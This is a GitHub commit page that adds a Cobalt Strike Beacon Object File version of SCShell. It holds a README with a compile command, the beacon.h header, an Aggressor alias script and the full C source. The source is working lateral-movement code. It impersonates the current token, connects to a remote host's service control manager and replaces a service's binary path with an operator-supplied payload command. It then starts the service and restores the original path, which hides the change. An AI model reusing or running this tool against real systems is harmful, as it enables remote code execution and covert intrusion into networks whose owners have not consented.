forked from Mr-Un1k0d3r/SCShell
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Merge pull request #1 from Mr-Un1k0d3r/master
update fork
- Loading branch information
Showing
7 changed files
with
205 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,9 @@ | ||
# BOF Version os ScShell for Cobalt Strike | ||
|
||
# How to compile | ||
|
||
``` | ||
x86_64-w64-mingw32-gcc.exe -c scshellbof.c -o scshellbof.o | ||
``` | ||
|
||
Then copy it on the CS server and use the CNA script to run it. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,61 @@ | ||
/* | ||
* Beacon Object Files (BOF) | ||
* ------------------------- | ||
* A Beacon Object File is a light-weight post exploitation tool that runs | ||
* with Beacon's inline-execute command. | ||
* | ||
* Cobalt Strike 4.1. | ||
*/ | ||
|
||
/* data API */ | ||
typedef struct { | ||
char * original; /* the original buffer [so we can free it] */ | ||
char * buffer; /* current pointer into our buffer */ | ||
int length; /* remaining length of data */ | ||
int size; /* total size of this buffer */ | ||
} datap; | ||
|
||
DECLSPEC_IMPORT void BeaconDataParse(datap * parser, char * buffer, int size); | ||
DECLSPEC_IMPORT int BeaconDataInt(datap * parser); | ||
DECLSPEC_IMPORT short BeaconDataShort(datap * parser); | ||
DECLSPEC_IMPORT int BeaconDataLength(datap * parser); | ||
DECLSPEC_IMPORT char * BeaconDataExtract(datap * parser, int * size); | ||
|
||
/* format API */ | ||
typedef struct { | ||
char * original; /* the original buffer [so we can free it] */ | ||
char * buffer; /* current pointer into our buffer */ | ||
int length; /* remaining length of data */ | ||
int size; /* total size of this buffer */ | ||
} formatp; | ||
|
||
DECLSPEC_IMPORT void BeaconFormatAlloc(formatp * format, int maxsz); | ||
DECLSPEC_IMPORT void BeaconFormatReset(formatp * format); | ||
DECLSPEC_IMPORT void BeaconFormatFree(formatp * format); | ||
DECLSPEC_IMPORT void BeaconFormatAppend(formatp * format, char * text, int len); | ||
DECLSPEC_IMPORT void BeaconFormatPrintf(formatp * format, char * fmt, ...); | ||
DECLSPEC_IMPORT char * BeaconFormatToString(formatp * format, int * size); | ||
DECLSPEC_IMPORT void BeaconFormatInt(formatp * format, int value); | ||
|
||
/* Output Functions */ | ||
#define CALLBACK_OUTPUT 0x0 | ||
#define CALLBACK_OUTPUT_OEM 0x1e | ||
#define CALLBACK_ERROR 0x0d | ||
#define CALLBACK_OUTPUT_UTF8 0x20 | ||
|
||
DECLSPEC_IMPORT void BeaconPrintf(int type, char * fmt, ...); | ||
DECLSPEC_IMPORT void BeaconOutput(int type, char * data, int len); | ||
|
||
/* Token Functions */ | ||
DECLSPEC_IMPORT BOOL BeaconUseToken(HANDLE token); | ||
DECLSPEC_IMPORT void BeaconRevertToken(); | ||
DECLSPEC_IMPORT BOOL BeaconIsAdmin(); | ||
|
||
/* Spawn+Inject Functions */ | ||
DECLSPEC_IMPORT void BeaconGetSpawnTo(BOOL x86, char * buffer, int length); | ||
DECLSPEC_IMPORT void BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len); | ||
DECLSPEC_IMPORT void BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len); | ||
DECLSPEC_IMPORT void BeaconCleanupProcess(PROCESS_INFORMATION * pInfo); | ||
|
||
/* Utility Functions */ | ||
DECLSPEC_IMPORT BOOL toWideChar(char * src, wchar_t * dst, int max); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,11 @@ | ||
alias scshell { | ||
local('$handle $data $args'); | ||
|
||
$handle = openf(script_resource("bofscshell.o")); | ||
$data = readb($handle, -1); | ||
closef($handle); | ||
|
||
$args = bof_pack($1, "zzz", $2, $3, $4); | ||
btask($1, "Running BOF SCShell"); | ||
beacon_inline_execute($1, $data, "go", $args); | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,118 @@ | ||
// Author: Mr.Un1k0d3r RingZer0 Team | ||
|
||
#include <Windows.h> | ||
#include <stdio.h> | ||
#include "beacon.h" | ||
|
||
#define LOGON32_LOGON_NEW_CREDENTIALS 9 | ||
|
||
DECLSPEC_IMPORT VOID WINAPI kernel32$ExitProcess(UINT); | ||
DECLSPEC_IMPORT BOOL WINAPI Advapi32$OpenProcessToken(HANDLE, DWORD, PHANDLE); | ||
DECLSPEC_IMPORT BOOL WINAPI Advapi32$ImpersonateLoggedOnUser(HANDLE); | ||
DECLSPEC_IMPORT SC_HANDLE WINAPI Advapi32$OpenSCManagerA(LPCSTR, LPCSTR, DWORD); | ||
DECLSPEC_IMPORT SC_HANDLE WINAPI Advapi32$OpenServiceA(SC_HANDLE, LPCSTR, DWORD); | ||
DECLSPEC_IMPORT BOOL WINAPI Advapi32$QueryServiceConfigA(SC_HANDLE, LPQUERY_SERVICE_CONFIGA, DWORD, LPDWORD); | ||
DECLSPEC_IMPORT HGLOBAL WINAPI kernel32$GlobalAlloc(UINT, SIZE_T); | ||
DECLSPEC_IMPORT HGLOBAL WINAPI kernel32$GlobalFree(HGLOBAL); | ||
DECLSPEC_IMPORT BOOL WINAPI Advapi32$ChangeServiceConfigA(SC_HANDLE, DWORD, DWORD, DWORD, LPCSTR, LPCSTR, LPDWORD, LPCSTR, LPCSTR, LPCSTR, LPCSTR); | ||
DECLSPEC_IMPORT BOOL WINAPI Advapi32$StartServiceA(SC_HANDLE,DWORD, LPCSTR*); | ||
DECLSPEC_IMPORT BOOL WINAPI Advapi32$CloseServiceHandle(SC_HANDLE); | ||
DECLSPEC_IMPORT DWORD WINAPI kernel32$GetLastError(); | ||
DECLSPEC_IMPORT HANDLE WINAPI kernel32$GetCurrentProcess(); | ||
DECLSPEC_IMPORT BOOL WINAPI kernel32$CloseHandle(HANDLE); | ||
|
||
void go(char * args, int length) { | ||
// Parse Beacon Arguments | ||
datap parser; | ||
CHAR * targetHost; | ||
CHAR * serviceName; | ||
CHAR * payload; | ||
|
||
BeaconDataParse(&parser, args, length); | ||
targetHost = BeaconDataExtract(&parser, NULL); | ||
serviceName = BeaconDataExtract(&parser, NULL); | ||
payload = BeaconDataExtract(&parser, NULL); | ||
|
||
LPQUERY_SERVICE_CONFIGA lpqsc = NULL; | ||
DWORD dwLpqscSize = 0; | ||
CHAR* originalBinaryPath = NULL; | ||
BOOL bResult = FALSE; | ||
|
||
BeaconPrintf(CALLBACK_OUTPUT, "Trying to connect to %s\n", targetHost); | ||
|
||
HANDLE hToken = NULL; | ||
|
||
BeaconPrintf(CALLBACK_OUTPUT, "Using current process context for authentication. (Pass the hash)\n"); | ||
if(!Advapi32$OpenProcessToken(kernel32$GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken)) { | ||
BeaconPrintf(CALLBACK_OUTPUT, "Advapi32$OpenProcessToken failed %ld\n", kernel32$GetLastError()); | ||
kernel32$ExitProcess(0); | ||
} | ||
|
||
bResult = FALSE; | ||
bResult = Advapi32$ImpersonateLoggedOnUser(hToken); | ||
if(!bResult) { | ||
BeaconPrintf(CALLBACK_OUTPUT, "Advapi32$ImpersonateLoggedOnUser failed %ld\n", kernel32$GetLastError()); | ||
kernel32$ExitProcess(0); | ||
} | ||
|
||
SC_HANDLE schManager = Advapi32$OpenSCManagerA(targetHost, SERVICES_ACTIVE_DATABASE, SC_MANAGER_ALL_ACCESS); | ||
if(schManager == NULL) { | ||
BeaconPrintf(CALLBACK_OUTPUT, "Advapi32$OpenSCManagerA failed %ld\n", kernel32$GetLastError()); | ||
kernel32$ExitProcess(0); | ||
} | ||
BeaconPrintf(CALLBACK_OUTPUT, "SC_HANDLE Manager 0x%p\n", schManager); | ||
|
||
BeaconPrintf(CALLBACK_OUTPUT, "Opening %s\n", serviceName); | ||
SC_HANDLE schService = Advapi32$OpenServiceA(schManager, serviceName, SERVICE_ALL_ACCESS); | ||
if(schService == NULL) { | ||
Advapi32$CloseServiceHandle(schManager); | ||
BeaconPrintf(CALLBACK_OUTPUT, "Advapi32$OpenServiceA failed %ld\n", kernel32$GetLastError()); | ||
kernel32$ExitProcess(0); | ||
} | ||
BeaconPrintf(CALLBACK_OUTPUT, "SC_HANDLE Service 0x%p\n", schService); | ||
|
||
DWORD dwSize = 0; | ||
Advapi32$QueryServiceConfigA(schService, NULL, 0, &dwSize); | ||
if(dwSize) { | ||
// This part is not critical error will not stop the program | ||
dwLpqscSize = dwSize; | ||
BeaconPrintf(CALLBACK_OUTPUT, "LPQUERY_SERVICE_CONFIGA need 0x%08x bytes\n", dwLpqscSize); | ||
lpqsc = kernel32$GlobalAlloc(GPTR, dwSize); | ||
bResult = FALSE; | ||
bResult = Advapi32$QueryServiceConfigA(schService, lpqsc, dwLpqscSize, &dwSize); | ||
originalBinaryPath = lpqsc->lpBinaryPathName; | ||
BeaconPrintf(CALLBACK_OUTPUT, "Original service binary path \"%s\"\n", originalBinaryPath); | ||
} | ||
|
||
bResult = FALSE; | ||
bResult = Advapi32$ChangeServiceConfigA(schService, SERVICE_NO_CHANGE, SERVICE_DEMAND_START, SERVICE_ERROR_IGNORE, payload, NULL, NULL, NULL, NULL, NULL, NULL); | ||
if(!bResult) { | ||
BeaconPrintf(CALLBACK_OUTPUT, "Advapi32$ChangeServiceConfigA failed to update the service path. %ld\n", kernel32$GetLastError()); | ||
kernel32$ExitProcess(0); | ||
} | ||
BeaconPrintf(CALLBACK_OUTPUT, "Service path was changed to \"%s\"\n", payload); | ||
|
||
bResult = FALSE; | ||
bResult = Advapi32$StartServiceA(schService, 0, NULL); | ||
DWORD dwResult = kernel32$GetLastError(); | ||
if(!bResult && dwResult != 1053) { | ||
BeaconPrintf(CALLBACK_OUTPUT, "Advapi32$StartServiceA failed to start the service. %ld\n", kernel32$GetLastError()); | ||
} else { | ||
BeaconPrintf(CALLBACK_OUTPUT, "Service was started\n"); | ||
} | ||
|
||
if(dwLpqscSize) { | ||
bResult = FALSE; | ||
bResult = Advapi32$ChangeServiceConfigA(schService, SERVICE_NO_CHANGE, SERVICE_DEMAND_START, SERVICE_ERROR_IGNORE, originalBinaryPath, NULL, NULL, NULL, NULL, NULL, NULL); | ||
if(!bResult) { | ||
BeaconPrintf(CALLBACK_OUTPUT, "Advapi32$ChangeServiceConfigA failed to revert the service path. %ld\n", kernel32$GetLastError()); | ||
kernel32$ExitProcess(0); | ||
} | ||
BeaconPrintf(CALLBACK_OUTPUT, "Service path was restored to \"%s\"\n", originalBinaryPath); | ||
} | ||
|
||
kernel32$GlobalFree(lpqsc); | ||
kernel32$CloseHandle(hToken); | ||
Advapi32$CloseServiceHandle(schManager); | ||
Advapi32$CloseServiceHandle(schService); | ||
} |
Binary file not shown.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Binary file not shown.